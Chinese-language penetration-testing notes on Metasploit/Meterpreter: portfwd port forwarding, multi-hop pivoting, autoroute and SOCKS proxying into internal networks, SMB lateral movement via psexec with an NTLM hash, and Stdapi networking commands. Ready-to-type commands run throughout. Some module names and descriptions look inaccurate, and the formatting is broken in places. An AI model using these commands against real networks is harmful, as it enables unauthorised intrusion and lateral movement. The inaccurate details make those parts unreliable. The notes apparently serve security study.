### portfwd 命令用法总结

portfwd 是 Metasploit 中用于设置和管理端口转发的命令。通过该命令，你可以将本地端口流量转发到远程主机或服务，常用于渗透测试中的中继攻击或访问被防火墙保护的内部网络服务。

#### 常用子命令
1. `add`**：添加一个端口转发规则
2. delete：删除一个端口转发规则
3. list：列出当前所有端口转发规则
4. flush：清空所有端口转发规则

#### 选项说明
- -h：显示帮助信息
- -i：指定端口转发条目的索引（通过 `list` 命令查看）
- -l：指定本地端口（监听端口）或本地连接端口
- -L：指定本地主机（本地 IP 地址）
- -p：指定远程主机的端口（用于连接）
- -r：指定远程主机的 IP 地址（连接目标）
- -R**：指示反向端口转发（将远程端口流量转发到本地）

#### 使用示例

1. **添加端口转发规则**：
将本地 192.168.5.14:445 的流量转发到远程主机 `192.168.80.172:445`：

   portfwd add -L 192.168.5.14 -l 445 -p 445 -r 192.168.80.172
   

2. **列出所有端口转发规则**：
查看当前配置的端口转发规则：

   portfwd list
   

3. **删除指定的端口转发规则**：
假设你想删除 `Index` 为 0 的规则，可以使用：

   portfwd delete -i 0
   

4. **删除所有端口转发规则**：
清空所有转发规则：

   portfwd flush
   

#### 典型应用场景
- **内网渗透**：利用端口转发将攻击机连接到内网服务，例如 SMB、RDP、SSH 等，进行进一步渗透。
- **绕过防火墙**：通过跳板机或代理主机实现对受防火墙保护的内网主机的访问。
- **反向代理**：当目标主机或服务无法直接访问时，可以配置反向端口转发来接入内网。

---

#portfwd #Metasploit #端口转发 #命令总结

### 目标内网主机无法直接访问时的渗透策略

当你需要渗透的目标主机位于内网中，并且你无法直接访问时，可以通过以下几种常见的方法来实现对内网主机的访问。这些方法通常基于你已获得的其他内网主机的访问权限（如通过 Meterpreter 会话）。

### 1. 利用目标主机的网关或中转主机（跳板机）

如果你能够访问到一台在内网中的机器，且该机器可以访问目标主机，你可以通过它来进行跳板攻击。这可以通过 端口转发 来实现，具体步骤如下：

#### 1.1 使用 Meterpreter 进行端口转发（port forwarding）

如果你已经通过 Meterpreter 会话连接到了内网中的一台主机，你可以设置 端口转发**，将目标主机的服务流量通过当前会话的机器转发到你的本地机器，从而绕过内网的防火墙限制。

假设目标主机的 IP 为 `192.168.1.10`，并且你想要访问该主机的 SMB 服务（端口 445），你可以使用以下命令来设置端口转发：

```bash
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.10
```

此命令会将你本地的 445 端口流量转发到目标主机 `192.168.1.10` 的 445 端口。你现在可以从你的本地机器直接访问目标主机的 SMB 服务。

#### 1.2 **多级端口转发

如果你在内网中的机器连接到了多个目标，或有多个跳板主机，可以通过逐级转发端口来实现对目标主机的访问。例如，你可以通过一台中间主机（假设它的 IP 是 `192.168.1.2`）来转发流量。

在这种情况下，步骤如下：

1. 先在 `192.168.1.2` 上设置端口转发：

   meterpreter > portfwd add -l 4444 -p 445 -r 192.168.1.10
   

2. 然后在你本地机器上转发端口：

   meterpreter > portfwd add -l 5555 -p 4444 -r 192.168.1.2
   

此时，你可以通过连接到本地的 5555 端口访问目标主机的 SMB 服务。

### 2. 通过 VPN 或 RDP 实现远程访问

如果你的攻击工具或环境中包含了一个可以访问内网的 VPN 或 RDP 服务，可以通过这些服务来实现对内网主机的访问。

#### 2.1 利用 RDP 登录到内网主机

如果你获得了内网中某台主机的凭据（通过之前的凭据枚举等方法），你可以尝试通过 RDP（远程桌面协议） 登录到这台主机。你可以使用 RDP 客户端连接并进行后续的渗透。

#### 2.2 通过 VPN 隧道访问内网

如果你有权限连接到一个已经配置好的 VPN，可以通过 VPN 将你的机器虚拟地接入到目标内网。这将使你可以访问到内网中的其他主机，包括无法直接访问的目标主机。

### 3. 使用 `pivoting` 技术进行内网渗透

#### 3.1 利用 Meterpreter 的 `pivoting` 功能

当你获得对一台内网主机的 Meterpreter 会话时，可以使用 pivoting 技术将流量通过该主机转发到其他内部主机。Meterpreter 提供了一些命令来设置这一功能。

##### 设置 HTTP 隧道：

meterpreter > run autoroute -s 192.168.1.0/24

这个命令会将目标子网（例如 `192.168.1.0/24`）的流量通过当前的 Meterpreter 会话进行转发。

##### 设置 SOCKS5 代理：

meterpreter > run socks5a

通过设置 SOCKS5 代理，你可以将你所有的网络流量通过当前的会话传输，从而实现内网的访问。你可以配置本地的浏览器或其他工具，使用 SOCKS5 代理来访问内网中的其他主机。

#### 3.2 使用 `autoroute` 进行路由添加

autoroute 是一个 Meterpreter 后渗透模块，可以帮助你自动添加路由，从而使得你的网络流量能够通过目标主机进行传递。

你可以使用以下命令来添加目标网络路由：

meterpreter > run autoroute -p

这个命令会自动检查并添加目标网络的路由，确保你可以访问到内网的其他主机。

### 4. 使用反向代理（Reverse Proxy）

如果目标主机位于内网并且防火墙阻止了直接的访问，你还可以尝试通过反向代理技术绕过这些限制。例如，如果你能在一台内网主机上设置反向代理，可以将流量通过这台主机转发到目标主机。

### 5. 通过 SMB 进行横向渗透

如果你已经获得了某台内网主机的凭据（如 stu1$`），并且目标机器使用 SMB 协议，可以通过 **SMB 远程执行** 进行横向渗透。以下是如何利用 `psexec 或 smb_exec 模块进行操作：

#### 使用 psexec 模块：

meterpreter > use exploit/windows/smb/psexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit

#### 使用 smb_exec 模块：

meterpreter > use post/windows/gather/smbexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit

这些方法可以帮助你横向渗透到目标主机。

### 总结

- **端口转发**：通过内网中的一台主机进行端口转发，实现对其他目标主机的访问。
- **跳板主机**：利用内网中的跳板主机进行进一步渗透。
- **pivoting 技术**：使用 Meterpreter 的 autoroute 和 SOCKS5 代理功能来实现内网访问。
- **反向代理**：在内网主机上设置反向代理，实现流量转发。
- **横向渗透**：利用 SMB 等协议进行横向渗透，进一步访问内网其他主机。

通过这些方法，即使目标主机位于内网中并且不可直接访问，你依然可以借助其他内网主机、端口转发或 VPN 等手段进行渗透。

#Metasploit #Meterpreter #内网渗透 #跳板机 #端口转发 #pivoting #横向渗透 #反向代理 #SMB

### Stdapi 网络命令详解

在 Metasploit 的 Stdapi: Networking Commands 模块中，提供了一些常用的网络命令，这些命令有助于渗透测试人员了解和操作目标主机的网络配置。下面是这些命令的详细解释：

#### 1. arp
- 描述**：显示主机的 ARP（地址解析协议）缓存。
- **用途**：`arp` 命令列出目标机器的 ARP 缓存，显示主机的 IP 地址与 MAC 地址映射。通过查看 ARP 缓存，可以了解目标主机最近通信过的其他设备。
- **常见用法**：
```bash
meterpreter > arp
```

#### 2. **getproxy
- 描述**：显示当前的代理配置。
- **用途**：此命令用于查看目标主机是否配置了代理服务器，如果有，它会显示代理的设置，如地址、端口等。这对于需要通过代理进行隐蔽渗透的情况非常有用。
- **常见用法**：
```bash
meterpreter > getproxy
```

#### 3. **ifconfig
- 描述**：显示所有网络接口的配置。
- **用途**：`ifconfig` 命令用于列出目标主机上所有网络接口的信息，包括 IP 地址、子网掩码、MAC 地址等。这有助于你了解目标系统的网络配置和可用的网络接口。
- **常见用法**：
```bash
meterpreter > ifconfig
```

#### 4. **ipconfig
- 描述**：显示网络接口配置信息（类似于 `ifconfig`，但通常在 Windows 系统上使用）。
- **用途**：这个命令在 Windows 系统中常用，类似于 Linux 上的 `ifconfig`。它会列出所有网络接口的 IP 地址、子网掩码和默认网关等信息。
- **常见用法**：
```bash
meterpreter > ipconfig
```

#### 5. **netstat
- 描述**：显示当前的网络连接。
- **用途**：`netstat` 命令可以显示目标系统的活动网络连接，包括 TCP 和 UDP 连接、监听的端口等。这对于识别目标主机上的开放端口、监听服务以及网络通信状态非常有用。
- **常见用法**：
```bash
meterpreter > netstat
```

#### 6. **portfwd
- 描述**：将本地端口转发到远程服务。
- **用途**：这个命令允许你将一个本地端口转发到目标主机上的某个端口。它通常用于通过目标主机访问防火墙后面的内部服务（例如目标网络中的其他主机）。
- **常见用法**：
```bash
meterpreter > portfwd add -l 8080 -p 80 -r 192.168.1.10
```
这条命令将本地机器的 8080 端口转发到目标主机（`192.168.1.10`）的 80 端口。

#### 7. **resolve
- 描述**：解析一组主机名。
- **用途**：此命令用于将主机名转换为 IP 地址（即 DNS 解析）。如果你知道目标系统的域名或主机名，可以使用此命令获取相应的 IP 地址。
- **常见用法**：
```bash
meterpreter > resolve example.com
```

#### 8. **route
- **描述**：查看和修改路由表。
- **用途**：`route` 命令允许你查看或修改目标系统的路由表。通过修改路由表，可以改变网络流量的转发路径，通常用于绕过防火墙或将流量通过某些中间设备进行转发。
- **常见用法**：
- **查看路由表**：

       meterpreter > route
       

- **添加路由**：

       meterpreter > route add 192.168.2.0 255.255.255.0 192.168.1.1
       

这条命令将目标主机的流量通过 192.168.1.1 路由到 192.168.2.0/24 子网。

---

### 总结

这些网络命令帮助渗透测试人员在目标机器上执行一系列网络操作，从查看网络配置、扫描端口、修改路由表到通过代理转发流量，提供了强大的支持。在进行内网渗透时，合理使用这些命令可以帮助你收集网络拓扑信息、绕过防火墙、设置中继等，推动渗透过程的进一步发展。

#Metasploit #Stdapi #NetworkingCommands #渗透测试 #ARP #路由 #代理 #端口转发